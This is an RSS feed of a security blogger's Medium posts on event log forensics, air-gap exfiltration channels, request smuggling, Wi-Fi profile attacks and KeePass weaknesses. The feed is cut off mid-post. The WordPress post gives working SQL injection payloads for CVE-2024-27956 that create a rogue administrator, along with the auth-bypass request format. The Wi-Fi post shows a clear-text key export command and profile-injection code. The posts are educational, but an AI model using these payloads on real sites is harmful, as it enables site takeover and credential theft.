<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by ShellXploit on Medium]]></title>
        <description><![CDATA[Stories by ShellXploit on Medium]]></description>
        <link>https://medium.com/@shellxpl0it?source=rss-e4f93b65b1cd------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*IpDUz4tE67P4qXGJoF7m8A.png</url>
            <title>Stories by ShellXploit on Medium</title>
            <link>https://medium.com/@shellxpl0it?source=rss-e4f93b65b1cd------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 03:50:39 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@shellxpl0it/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Windows Event Log Forensics: A Comprehensive Guide]]></title>
            <link>https://shellxpl0it.medium.com/windows-event-log-forensics-a-comprehensive-guide-4ab9ace7295e?source=rss-e4f93b65b1cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/4ab9ace7295e</guid>
            <category><![CDATA[code]]></category>
            <category><![CDATA[digital-forensics]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[cyber-forensics]]></category>
            <category><![CDATA[python-programming]]></category>
            <dc:creator><![CDATA[ShellXploit]]></dc:creator>
            <pubDate>Sun, 01 Dec 2024 13:24:25 GMT</pubDate>
            <atom:updated>2024-12-01T13:24:25.157Z</atom:updated>
            <content:encoded><![CDATA[<p>Windows event logs serve as the digital breadcrumbs users leave while interacting with a Windows operating system. These logs are invaluable for forensic investigators, providing a chronological record of events that can help reconstruct incidents, identify malicious activities, and gather evidence for legal proceedings.</p><p>This detailed guide explores the various aspects of Windows event log forensics, from understanding log structures to analyzing key events and applying forensic techniques.</p><p><strong>Understanding Windows Event Logs</strong></p><p>Windows event logs are structured into several categories, each capturing different types of events:</p><p>1. **<strong>Application Logs</strong>:** These logs contain events logged by applications or programs, such as software crashes or application-specific messages.<br>2. **<strong>Security Logs</strong>:** These are crucial for tracking security-related events, including successful and failed login attempts, policy changes, and user activities.<br>3. **<strong>System Logs</strong>:** These logs record events related to system components, such as driver failures, hardware issues, and operating system events.<br>4. **<strong>Setup Logs</strong>:** These contain information about system setup and installation processes, including updates and system configuration changes.<br>5. **<strong>Forwarded Events</strong>:** These logs collect events that are forwarded from other computers, providing a centralized view of activities across multiple systems.</p><p>Each event log entry includes essential details such as the date and time of the event, the event ID, the source of the event, the event type (e.g., error, warning, information), and a description of the event.</p><p><strong>**The Formal Forensic Process with blah blah…**</strong></p><p>The forensic analysis of Windows event logs involves a systematic approach to ensure the integrity and accuracy of the investigation. The following steps outline the typical forensic process:</p><p>1. **Collection:** The first step is to collect the event logs from the system in question. This can be done using built-in tools like Event Viewer or through forensic software such as FTK Imager or EnCase. It is essential to ensure that logs are collected in a way that preserves their integrity.</p><p>2. **Preservation:** Maintaining the integrity of the collected logs is crucial for their admissibility as evidence. This involves creating hash values for the log files and maintaining a chain of custody to document who handled the evidence and when.</p><p>3. **Examination:** In this phase, investigators filter and examine the logs to identify events relevant to the investigation. This may involve searching for specific event IDs, time frames, or user activities.</p><p>4. **Analysis:** The analysis phase involves correlating events from different logs to reconstruct the sequence of actions that took place. Investigators look for patterns, anomalies, and signs of malicious activity, such as unauthorized access attempts or unusual process behavior.</p><p>5. **Reporting:** The final step is to document the findings in a comprehensive report. This report should summarize the events, describe the analysis process, and present the conclusions drawn from the investigation. The report may also include recommendations for remediation and future prevention.</p><p>— -</p><p>#### **Key Events needs to be keep in focus**</p><p>Certain event IDs are particularly significant for forensic investigations, as they can provide insights into critical activities and potential security incidents. Here are some key events to monitor:</p><p>- **<strong><em>Event ID 4624:** Successful logon.<br>- **Event ID 4625:** Failed logon attempt.<br>- **Event ID 4634:** Logoff.<br>- **Event ID 4648:** Logon attempt using explicit credentials.<br>- **Event ID 4688:** A new process has been created.<br>- **Event ID 4670:** Permissions on an object were changed.<br>- **Event ID 4720:** A user account was created.<br>- **Event ID 4732:** A member was added to a security-enabled local group.<br>- **Event ID 5140:** A network share object was accessed.<br>- **Event ID 5145:** A network share object was accessed (detailed).</em></strong></p><p>#### **Tools for Windows Event Log Forensics**</p><p>Various tools and utilities exist in the professional market that can assist in the collection, analysis, and interpretation of Windows event logs <strong><em>Vs What I did..created my tool by reading the basics, and got my Job done</em></strong></p><p><strong>Tool link and Demonstration</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FJw8-XDK_nZI%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DJw8-XDK_nZI&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FJw8-XDK_nZI%2Fhqdefault.jpg&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/a215202c79b1ced402bd9db7ded46d47/href">https://medium.com/media/a215202c79b1ced402bd9db7ded46d47/href</a></iframe><p>Happy reading and Hacking</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4ab9ace7295e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exfiltration of Data from a Standalone PC]]></title>
            <link>https://shellxpl0it.medium.com/exfiltration-of-data-from-a-standalone-pc-00a538f0f773?source=rss-e4f93b65b1cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/00a538f0f773</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[red-teaming]]></category>
            <category><![CDATA[malware]]></category>
            <category><![CDATA[data-security]]></category>
            <dc:creator><![CDATA[ShellXploit]]></dc:creator>
            <pubDate>Wed, 02 Oct 2024 14:31:37 GMT</pubDate>
            <atom:updated>2024-10-02T14:31:37.894Z</atom:updated>
            <content:encoded><![CDATA[<p>### Exfiltration of Data from a Standalone PC</p><p>Data exfiltration refers to the unauthorized transfer of sensitive information from a system. Data exfiltration presents unique challenges when it comes to standalone PCs — computers that are not connected to a network or the internet. Despite the lack of direct connectivity, there are various methods, both physical and technical, that can be employed to exfiltrate data from such systems. This write-up explores some of the most prominent techniques.</p><p>— -</p><p>#### **1.<strong> Basic One:-Physical Access with Removable Media**</strong></p><p>The simplest and most common method of exfiltrating data from a standalone PC is through physical access using removable media.</p><p>- **USB Drives and External Hard Drives**: These devices allow an insider or an unauthorized user to copy sensitive data onto a storage medium and physically transport it.<br>- **Optical Discs (CD/DVD)**: Data can also be copied onto CDs or DVDs, though this method is less common due to the limited use of optical drives in modern PCs.<br>- **SD Cards**: Small and easily concealed, SD cards are an effective way to exfiltrate data in environments where security checks might overlook them.</p><p>The risk associated with these methods can be mitigated by physically securing the PC, using tamper-evident hardware, and employing data loss prevention (DLP) tools that monitor or block the use of external storage devices.</p><p>— -</p><p>#### **2.Improved Hardware-Based Covert Channels**</p><p>Hardware-based methods utilize unintended electromagnetic or acoustic emissions from the PC to transmit data covertly.</p><p>- **TEMPEST Attacks**: Computers emit electromagnetic signals during operation. These signals can be intercepted and decoded using specialized equipment, allowing an attacker to retrieve sensitive data from the system.<br>- **Acoustic Signals**: Sound produced by PC components, such as fans or even speakers, can be modulated to encode data. This information can then be captured by nearby devices, such as a compromised smartphone or microphone.<br>- **Ultrasonic Communication**: Malware can manipulate a computer’s speakers to emit high-frequency sounds (inaudible to humans), which can be picked up by nearby devices like phones or microphones. The data encoded in these ultrasonic waves can then be extracted and decoded.</p><p>While these methods are highly sophisticated, protecting against them often requires electromagnetic shielding (for TEMPEST) or disabling unnecessary audio hardware.</p><p>— -</p><p>#### **3. Visual Channels for Data Transmission**</p><p>Visual methods involve encoding information into light signals or screen displays that can be captured and decoded.</p><p>- **LED Indicators**: Devices like network cards, hard drives, or even the PC’s power LED can be manipulated to blink in patterns that encode data. This signal can be recorded by a camera and later decoded.<br>- **Screen Flicker**: Data can be exfiltrated by imperceptibly altering the screen’s refresh rate or pixel values. A camera monitoring the screen can capture these flickers, and software can be used to extract the encoded information.<br>- **QR Codes or Visual Patterns**: Malware can display QR codes or other visual patterns on the screen that contain sensitive information. A nearby camera or another recording device can capture these images for later decoding.</p><p>These techniques can be mitigated by covering LEDs, disabling unnecessary visual output, or shielding monitors and displays from external observation.</p><p>— -</p><p>#### **4. Peripheral Devices Manipulation**</p><p>Peripherals like keyboards, mice, and printers can be manipulated to exfiltrate data.</p><p>- **Keyboard Sound Eavesdropping**: The distinct sound of typing can be captured and analyzed to reconstruct the keystrokes. Malware can utilize a PC’s microphone to listen to typing and exfiltrate passwords or other sensitive data through this sound.<br>- **Printer Channels**: Documents sent to printers can be compromised, with printers saving or forwarding copies. Printers with network connectivity can be manipulated to send out sensitive information directly, or the printed documents can be physically exfiltrated.<br>- **Firmware-Level Attacks**: By altering the firmware of connected devices like USB drives, keyboards, or mice, data can be stored on these devices for later retrieval. Malicious firmware can also enable covert communication channels.</p><p>Protecting against these types of attacks involves limiting the use of peripherals, auditing firmware, and implementing physical security measures to prevent tampering.</p><p>— -</p><p>#### **5. Thermal and Power Line Manipulation**</p><p>Temperature and power consumption patterns can also be manipulated for exfiltration.</p><p>- **Thermal Covert Channels**: Research has demonstrated that slight variations in the temperature of a CPU or GPU can encode information. These variations can be measured by nearby devices with thermal sensors to retrieve sensitive data.<br>- **Power Line Communication**: Computers draw power from electrical grids, and subtle variations in power consumption can be encoded with data. Attackers with access to the same power lines may detect these variations and extract the encoded information.</p><p>Mitigating these threats may involve using power line filters, placing restrictions on power access, and isolating machines from vulnerable thermal channels.</p><p>— -</p><p>#### **6. Reflections and Optical Attacks**</p><p>Screens and displays can emit light that reflects off nearby surfaces, which can then be recorded by distant cameras.</p><p>- **Screen Reflections**: An attacker can use a telescope or long-range camera to capture the reflection of a screen of objects like eyeglasses, windows, or other reflective surfaces. By analyzing these reflections, an attacker can extract the data displayed on the screen.</p><p>To prevent such attacks, using privacy filters on screens, adjusting the lighting of the workspace, and minimizing the exposure of reflective surfaces can be effective countermeasures.</p><p>Demonstration of one such technique for data exfiltration using the Acoustic Method</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2F6oGn9uBXa-I%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3D6oGn9uBXa-I&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2F6oGn9uBXa-I%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/ace344ec2069af4d194dffc1885cd279/href">https://medium.com/media/ace344ec2069af4d194dffc1885cd279/href</a></iframe><p>— -</p><p>### Conclusion</p><p>While a standalone PC might seem secure due to its lack of network connectivity, numerous covert channels exist that can be exploited for data exfiltration. These methods can range from physical access using USB drives to more sophisticated electromagnetic, acoustic, and visual techniques. Effective defense strategies involve both physical and technical security measures, such as limiting access to removable media, shielding hardware against emissions, disabling unnecessary peripherals, and securing the environment against visual or acoustic monitoring. Regular auditing and physical security checks are also essential in preventing such attacks.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=00a538f0f773" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL Vulnerability in WordPress Automatic Plugin (CVE-2024–27956)]]></title>
            <link>https://shellxpl0it.medium.com/sql-vulnerability-in-wordpress-automatic-plugin-cve-2024-27956-3635f1d32b4e?source=rss-e4f93b65b1cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/3635f1d32b4e</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[wordpress-plugins]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[wordpress-security]]></category>
            <dc:creator><![CDATA[ShellXploit]]></dc:creator>
            <pubDate>Sun, 18 Aug 2024 09:26:51 GMT</pubDate>
            <atom:updated>2024-08-18T09:26:51.018Z</atom:updated>
            <content:encoded><![CDATA[<h4><strong>Overview</strong></h4><p>The WordPress Automatic plugin, a popular tool for automating content posting on WordPress sites, has been found to contain a critical SQL injection vulnerability. This vulnerability, identified as CVE-2024–27956, could allow malicious actors to execute arbitrary SQL commands on the database, leading to severe consequences such as data breaches, unauthorized access, and potential site takeovers.</p><h4>Vulnerability Details</h4><ul><li><strong>CVE ID</strong>: CVE-2024–27956</li><li><strong>Plugin Affected</strong>: WordPress Automatic (all versions before the patched release)</li><li><strong>Type</strong>: SQL Injection (SQLi)</li><li><strong>Severity</strong>: High (CVSS Score: 8.7)</li></ul><p><strong>Vulnerable File or Link to Look for:</strong></p><p>The vulnerable file<br>“/wp‑content/plugins/wp‑automatic/inc/csv.php</p><p><strong>Content of CSV file which is causing Worry:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/866/1*ObDW2E3SmykHjrDkw-xZvA.png" /></figure><p>In code, it is evident that with the q parameter, we can pass our entire query to DB and then it will be executed. one of the possible ways to create a query is to add a user of our choice as an admin to the WordPress site. Then we can give this user administrator privileges</p><pre>q=INSERT INTO wp_users (user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_status, display_name) VALUES (&#39;eviladmin&#39;, &#39;$P$BASbMqW0nlZRux/2IhCw7AdvoNI4VT0&#39;, &#39;eviladmin&#39;, &#39;eviladmin@gmail.com&#39;, &#39;http://127.0.0.1:8000&#39;, &#39;2024-08-18 14:26:43&#39;, 0, &#39;eviladmin&#39;)</pre><pre>q=INSERT INTO wp_usermeta (user_id, meta_key, meta_value) VALUES ((SELECT ID FROM wp_users WHERE user_login = &#39;eviladmin&#39;), &#39;wp_capabilities&#39;, &#39;a:1:{s:13:\&quot;administrator\&quot;;s:1:\&quot;1\&quot;;}</pre><p>Now question is how to process this query as we don&#39;t have access to testing website passwords. Let&#39;s see the code here in csv.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/818/1*5vFK4m950aGaDmUtoUrwZQ.png" /></figure><p>so if MD5(value of query and password) matches to integ then it is achievable. ideally, we can craft our post request as</p><p>q={{query}}&amp;auth=%00&amp;integ={{md5query}}</p><p>Attacking Demo:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FPHRqCRniI1E%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DPHRqCRniI1E&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FPHRqCRniI1E%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/7b5ef9f92dbf160847d6d988eb3a089c/href">https://medium.com/media/7b5ef9f92dbf160847d6d988eb3a089c/href</a></iframe><p>Happy Hacking.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3635f1d32b4e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Demystifying HTTP Request Smuggling: Detection to Exploitation]]></title>
            <link>https://shellxpl0it.medium.com/demystifying-http-request-smuggling-detection-to-exploitation-d6bc7beed73e?source=rss-e4f93b65b1cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/d6bc7beed73e</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[ShellXploit]]></dc:creator>
            <pubDate>Sat, 17 Feb 2024 15:47:03 GMT</pubDate>
            <atom:updated>2024-02-17T15:47:03.553Z</atom:updated>
            <content:encoded><![CDATA[<p>Let’s delve into the intriguing world of **HTTP Request Smuggling**. 🕵️‍♂️</p><blockquote>## What is HTTP Request Smuggling?</blockquote><ul><li><strong>*HTTP request smuggling**</strong> is a fascinating attack technique that involves meddling with the way a web application processes sequences of HTTP requests received from one or more users.</li><li>The attacker exploits a vulnerability by modifying the initial request to include another request within its body. This clever manipulation occurs by abusing the **Content-Length** and **Transfer-Encoding** headers</li></ul><blockquote>Too Complicated to understand what all these are about???</blockquote><p>So before unfolding the HTTP Request Smuggling Let’s explore the fascinating world of **reverse proxies** and their crucial role in modern web applications.</p><p><strong>## What is a Reverse Proxy?</strong></p><p>A **reverse proxy** is a server that sits in front of web servers and **forwards client requests** (such as those from web browsers) to those web servers. Unlike a regular forward proxy, which acts as an intermediary for client machines, a reverse proxy serves as a protective shield for the backend servers.</p><blockquote><strong>In short reverse proxies play a pivotal role in **security, performance optimization, and scalability** for modern web applications. They shield backend servers, distribute traffic intelligently, and enhance user experiences</strong>. 🚀.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/690/0*NLUQUeDyRT_ydbQ-.png" /></figure><p>Now you understand that web applications are these days layered by different kinds of technologies and many times they understand different kinds of things to see the end of a request from a user.</p><blockquote>HTTP HEADERS OF IMPORTANCE</blockquote><p><strong>Content-Length: </strong>The Content-Length header determines the byte length of the request/response body. If you neglect to specify the Content-Length header while sending a data request to a server, HTTP servers will implicitly add this header(TRY it!!)</p><p><strong>Transfer-Encoding</strong></p><p>The use of Transfer-Encoding: chunked is what allows streaming within a single request or response. This means that the data is transmitted in a chunked manner, and does not impact the representation of the content.</p><blockquote><strong>Still, where is the issue??</strong></blockquote><p>Ideally one would never find that both headers are present at the same time in a normal request but what if an attacker tries to send both the request headers at the same time by crafting a special request?</p><blockquote><strong>**Framing the Vulnerability**:<br></strong> — If the front-end and back-end systems don’t agree on the boundaries between requests, an attacker can exploit this inconsistency.<br> — The attacker crafts an ambiguous request, causing part of their front-end request to be interpreted by the back-end server as the start of the next request.<br> — This effectively **prepends** the second request to the first one, leading to interference in how the application processes the subsequent request.<br> — Voilà! We have a request smuggling attack.</blockquote><blockquote><strong>How about a hands On</strong></blockquote><p>Where we would witness the detection and exploitation techniques involving the bug/</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FiWrJ4Otp9OI%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DiWrJ4Otp9OI&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FiWrJ4Otp9OI%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/6f8af340870116fde0b0418527773833/href">https://medium.com/media/6f8af340870116fde0b0418527773833/href</a></iframe><p>**<strong>Going through the video can highlight the Impact and Risks associated with this bug</strong>**:<br> — Request smuggling vulnerabilities are often critical, allowing attackers to bypass security controls, gain unauthorized access to sensitive data, and compromise other application users.<br> — While primarily associated with HTTP/1 requests, websites supporting HTTP/2 may also be vulnerable, depending on their back-end architecture.</p><p>Want to understand more go with these further Readings</p><p>1. **HTTP desync attacks**: Request smuggling reborn<br>2. **HTTP/2**: The sequel is always worse<br>3. **Browser-powered desync attacks**: A new frontier in HTTP request smuggling</p><p>Happy Hacking and Bounty!!!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d6bc7beed73e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Easy Wi-Fi Hacking]]></title>
            <link>https://shellxpl0it.medium.com/easy-wi-fi-hacking-8c9fd62ea663?source=rss-e4f93b65b1cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/8c9fd62ea663</guid>
            <category><![CDATA[network-security]]></category>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[pentesting]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[wifihacking]]></category>
            <dc:creator><![CDATA[ShellXploit]]></dc:creator>
            <pubDate>Sat, 25 Nov 2023 05:26:34 GMT</pubDate>
            <atom:updated>2023-11-25T05:28:15.844Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong>Introduction:</strong><br>Wi-Fi has become an integral part of our daily lives, enabling us to connect to the internet from anywhere, anytime. However, with the increasing popularity of Wi-Fi, there has been a surge in Wi-Fi hacking incidents. In this content, we will delve into the world of Wi-Fi hacking, understanding the risks involved, and exploring preventive measures to safeguard our networks.</blockquote><p><strong>Understanding Wi-Fi Connection:</strong></p><p>The process of establishing a Wi-Fi connection between a wireless device and an access point (AP) is called the Wi-Fi handshake. This handshake involves several technical steps that ensure secure and reliable communication between the device and the AP. Here’s a detailed explanation of how the Wi-Fi handshake works:</p><p>1. <strong>Discovery Phase</strong>:<br>The first step in the Wi-Fi handshake is the discovery phase, where the device scans for available APs within range. The device sends out probe requests, which are broadcast packets that contain the SSID (Service Set Identifier) of the desired network. The AP responds to these requests with probe responses, which contain information about the network, such as its SSID, security settings, and capabilities.</p><p>2. <strong>Authentication Phase</strong>:<br>Once the device has identified an AP, it enters the authentication phase. During this phase, the device sends an authentication request to the AP, which contains its identity (MAC address) and any required credentials, such as a password or a pre-shared key (PSK). The AP verifies the credentials and responds with an authentication response, either granting or denying access to the network.</p><p>3. <strong>Association Phase</strong>:<br>After successful authentication, the device enters the association phase. During this phase, the device sends an association request to the AP, which contains information about its capabilities and preferences, such as its supported data rates and channel preferences. The AP responds with an association response, which establishes a logical connection between the device and the network.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/0*vGUzCZ01zl5Jkq7K.png" /></figure><p>Once the 4-way handshake completes, the client moves to the “network phase” of the connection to request a dynamic IP address</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/734/0*RCIOVPz2_47a-vgg.png" /></figure><blockquote>Above mentioned points are key intervening areas where Wi-Fi hacking takes place. There are several methods used by hackers to gain access to a Wi-Fi network, including:</blockquote><blockquote><strong>1. Brute Force Attack: This involves guessing the password by trying different combinations until the correct one is found.</strong><br><strong>2. Man-in-the-Middle (MITM) Attack: This involves intercepting and stealing data transmitted between the user and the network</strong>.<br><strong>3. Rogue Access Point (AP) Attack: This involves setting up a fake AP to trick users into connecting to it, allowing the attacker to gain access to their data.</strong><br>4. <strong>Deauthentication Attack</strong>: This involves disconnecting legitimate users from the network, allowing the attacker to take over their devices.</blockquote><p><strong>But here in this article, we will be taking a different approach to hacking. We will be using the Wifi profile to hack into the network.</strong></p><blockquote>A Wi-Fi profile describes how to connect to your network. When you assign the profile to a user or device group, the group can automatically access your network from their devices. Profiles eliminate the need for students and teachers to manually connect to the network.</blockquote><p>How this Wifi profile looks like, which you can export from your Windows machine using the command</p><p>netsh wlan export profile name=”&lt;ProfileName&gt; or SSID name” Key=clear Folder=”output folder path”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*x9eapSu5xmi8Ytqm.png" /><figcaption>Highlighted the key points in a typical Wifi profile stored in windows</figcaption></figure><p><strong>So if one can generate various profiles and keep them passing to the network interface card of the computer then the rest of thing OS can handle them.</strong></p><p>So what we can do to generate a Wi-Fi profile and send the same to OS, the module that could help us is pyWifi module of python</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*UP5qi5-R-Ay9YzFiBftUtA.png" /></figure><p>A sample code given there will give you an understanding of how powerful this module is highlighted with<strong> **</strong> where it has shown how one can add a profile of its choice to OS.</p><pre>import pywifi<br><br>wifi = pywifi.PyWiFi()<br><br>iface = wifi.interfaces()[0]<br><br>iface.disconnect()<br>time.sleep(1)<br>assert iface.status() in\<br>    [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]<br><br>profile = pywifi.Profile()<br>profile.ssid = &#39;testap&#39;<br>profile.auth = const.AUTH_ALG_OPEN<br>profile.akm.append(const.AKM_TYPE_WPA2PSK)<br>profile.cipher = const.CIPHER_TYPE_CCMP<br>profile.key = &#39;12345678&#39;<br><br>iface.remove_all_network_profiles()<br>***tmp_profile = iface.add_network_profile(profile)*** important portion of code<br><br>iface.connect(tmp_profile)<br>time.sleep(30)<br>assert iface.status() == const.IFACE_CONNECTED<br><br>iface.disconnect()<br>time.sleep(1)<br>assert iface.status() in\<br>    [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE]</pre><p>The risks involved in Wi-Fi hacking are numerous and can have severe consequences. Some of these risks include:</p><p>1. Data Theft: Hackers can steal sensitive data such as passwords, bank details, and personal information through Wi-Fi hacking.<br>2. Identity Theft: Hackers can use stolen data to impersonate users, causing financial losses and reputational damage.<br>3. Network Disruption: Hackers can disrupt network operations by launching denial-of-service (DoS) attacks or crashing APs.<br>4. Malware Infection: Hackers can infect devices connected to the network with malware, causing damage or stealing data.<br>5. Privacy Violation: Hackers can monitor user activity and collect personal information without their consent, violating their privacy rights.</p><p>Section 3: Preventive Measures for Wi-Fi Security<br>To prevent Wi-Fi hacking incidents, there are several preventive measures that individuals and organizations can take, including:</p><p>1. Strong Passwords: Use strong passwords that are difficult to guess or crack using brute force attacks. Change passwords regularly and avoid using easily guessed passwords such as “password” or “123456”.<br>2. Encryption: Use encryption protocols such as WPA2 or WPA3 to secure wireless transmissions and prevent unauthorized access to data.<br>3. Network Segmentation: Segment networks into smaller subnetworks to limit access and prevent attackers from gaining access to sensitive data or systems.<br>4. Firewall Protection: Use firewalls to block unauthorized access to networks and prevent malicious traffic from entering the network.<br>5. Regular Security Updates: Keep software and firmware up-to-date with security patches and updates to address known vulnerabilities and prevent exploitation by attackers.<br>6. Access Controls: Implement access controls such as MAC address filtering or role-based access control (RBAC) to restrict access to authorized users only.<br>7. Physical Security Measures: Secure APs physically by placing them in secure locations, using lockable enclosures or cages, and limiting physical access to sensitive areas of the network infrastructure.<br>8. Employee Training and Awareness Programs: Train employees on best practices for Wi-Fi security, including password hygiene, secure browsing habits, and avoiding suspicious emails or messages that may contain phishing links or malware attachments.<br>9. Regular Security Audits: Conduct regular security audits of networks and devices connected to them to identify vulnerabilities and address them before they can be exploited by attackers.</p><p><strong>Complete Demo you can find here</strong></p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FiqH38-ReNFg%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DiqH38-ReNFg&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FiqH38-ReNFg%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/472126d7136bf0bd185f4be1fa059ddf/href">https://medium.com/media/472126d7136bf0bd185f4be1fa059ddf/href</a></iframe><p>Hope you would enjoy the journey. But please make sure that you don&#39;t use the knowledge to perform unauthorized work.</p><p>happy hacking</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=8c9fd62ea663" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exploiting Keepass]]></title>
            <link>https://shellxpl0it.medium.com/exploiting-keepass-e0b5691f1409?source=rss-e4f93b65b1cd------2</link>
            <guid isPermaLink="false">https://medium.com/p/e0b5691f1409</guid>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[password-manager]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[ShellXploit]]></dc:creator>
            <pubDate>Sat, 30 Sep 2023 18:00:41 GMT</pubDate>
            <atom:updated>2023-09-30T18:00:41.709Z</atom:updated>
            <content:encoded><![CDATA[<p>In an era where cybersecurity threats are increasingly sophisticated, the importance of secure password management cannot be overstated. Password managers like KeePass aim to protect our sensitive information, but they are not immune to vulnerabilities. In this write-up, we’ll dive into the world of KeePass vulnerabilities and the potential risks associated with its exploitation.</p><p>Actually, during my stint with an HTB machine (<a href="https://medium.com/u/c8323be02e89">hackthebox</a>) I came across a challenge that forced me to deal with this software, since in past I had never tested or used this software I thought before actually solving the problem let&#39;s try to get my hands dirty with this software and understand its working mechanism.</p><blockquote>Understanding KeePass:</blockquote><p><strong>KeePass</strong> is a free open-source password manager, which helps you to manage your passwords in a secure way</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/615/0*90zlGfx2FEEtF0Ld" /></figure><blockquote><strong>Possible vulnerabilities with password managers:</strong></blockquote><p>The Vulnerabilities:</p><p>While KeePass is a strong defender of your passwords, it’s not invincible. Here are some common vulnerabilities and risks associated with KeePass as well:</p><p><strong>Memory Dump Vulnerability</strong>: One of the most significant concerns is the possibility of a memory dump attack. When KeePass is active and your database is unlocked, a copy of your passwords resides in your computer’s memory. If an attacker gains access to this memory dump, they can potentially retrieve your passwords.</p><p><strong>Malware Exploitation:</strong> Malicious software on your computer can compromise KeePass’s operation. Keyloggers, in particular, can capture keystrokes, including your master password, potentially providing attackers with access to your KeePass database.</p><p><strong>Weak Master Passwords</strong>: Weak or easily guessable master passwords can undermine the security of your KeePass database. It’s essential to choose a strong, unique master password to protect your 